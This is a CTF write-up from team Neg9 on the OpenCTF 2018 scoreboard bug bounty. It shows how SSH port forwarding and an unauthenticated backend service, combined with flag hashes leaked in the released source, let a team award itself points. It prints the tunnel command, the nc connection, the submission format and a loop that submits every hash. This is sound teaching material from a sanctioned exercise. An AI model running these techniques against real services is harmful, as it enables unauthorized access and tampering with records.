View at the original location: https://neg9.org/news/2018/8/15/openctf-2018-scoreboard-bug-bounty-writeup
Scoreboard Bug Bounty - 1337 * DEFCON 26 @Open_CTF* 2018-08-11* Solved by Neg9 [craSH, tecknicaltom, reidb] ```SCOREBOARD BUG BOUNTY IS OPEN. COME AT US BR0!!! V& OUT!!! https://scoreboard.openctf.com/scoreboardbugbounty-dd9dd662cb9895a2353f6c463120b9eb7fed2bfb``` Scoreboard Server: scoreboard.openctf.com The Scoreboard server is running an SSH server, which is the primary method teams use to interact with it. Each team has a shell account, and the users' shell is set to be ``interact.py`` from the above source archive. There were several issues with the scoreboard system configuration, code, and how the organizers released the code, which when combined, resulted in the ability of a team to score all possible challenges for themselves without leaving any trace of doing so, and by not using the intended ``interact.py`` method of scoring. * Issue 1: sshd is configured to allow port forwarding/dynamic proxying.* Issue 2: ``collect_keys.py`` accepts connections without authentication, and it does not log connections made to it to syslog like ``interact.py`` does.* Issue 3: The included SQLite database (``central.db``) included all (SHA512) hashes of the flags. This hash value is what the backend ``collect_keys.py`` takes in addition to team name and challenge ID to register a scoring event.  As such, you can directly connect to the backend and submit a known hash for a question to a team. One could connect to the scoreboard as such to open a socket on the players local machine on port 41337 which is a tunnel to the backend service ``collect_keys.py`` running on the scoreboard: ```ssh -L41337:localhost:41337 [email protected]``` And in another terminal, one could then connect to the ``collect_keys.py`` service as follows: ```nc localhost 41337``` This would yield the service authentication string (lol) and wait to be written to: ```lol goatse``` At this point, the service expects a scoring event message in the following format: ```<Team_Name>,<Question_ID>,<Flag_SHA512_Hex>``` For example - here is the string to submit to score question ID 15 (this scoreboard bug bounty challenge) for team neg9: ```neg9,15,40a2475624d82487a9ded98fc661fd9dde15e02973a5280a8b4b76fc81e41a123190604848fa1d23b181a17b3303e184588211b81bef71e58ef8e26b7f300eb6``` As we have all hashes in the database provided, we can script up scoring for all questions. Here is the database schema: ```CREATE TABLE questions(challenge_name text, tags text, point_value integer, answer_hash text, question text, solved integer, open integer, qualification);CREATE TABLE team_score(team_name text, challenge_name text, point_value integer, answer_hash text, time_solved text, first integer, PRIMARY KEY(team_name, challenge_name, point_value, answer_hash) ON CONFLICT IGNORE);``` And for demonstration, here is the row for this challenge: ```sqlite> select * from questions where challenge_name like '%bug%';Scoreboard Bug Bounty|Kajer scoreboard|1337|40a2475624d82487a9ded98fc661fd9dde15e02973a5280a8b4b76fc81e41a123190604848fa1d23b181a17b3303e184588211b81bef71e58ef8e26b7f300eb6|Find an 0-day in our scoreboard. Source is here: https://pastebin.com/nVR8gEih```
We expeditiously grabbed all of the hashes from the dump and put them in a file to work with. The following nested for loop would submit all hashes for neg9 (we extracted just the hash values and placed them in hashes.txt): ```for hash in $(cat hashes.txt); do for id in {1..100}; do echo "neg9,${id},${hash}" | nc localhost 41337; done ; done``` We made a POC of this with the question ID 15, for the scoreboard bug bounty, and we were successfully awarded **1337** points. The organizers quickly disabled SSH port forwarding/tunneling at this point, and we were not able to score for the other flags in this manner. Good work :)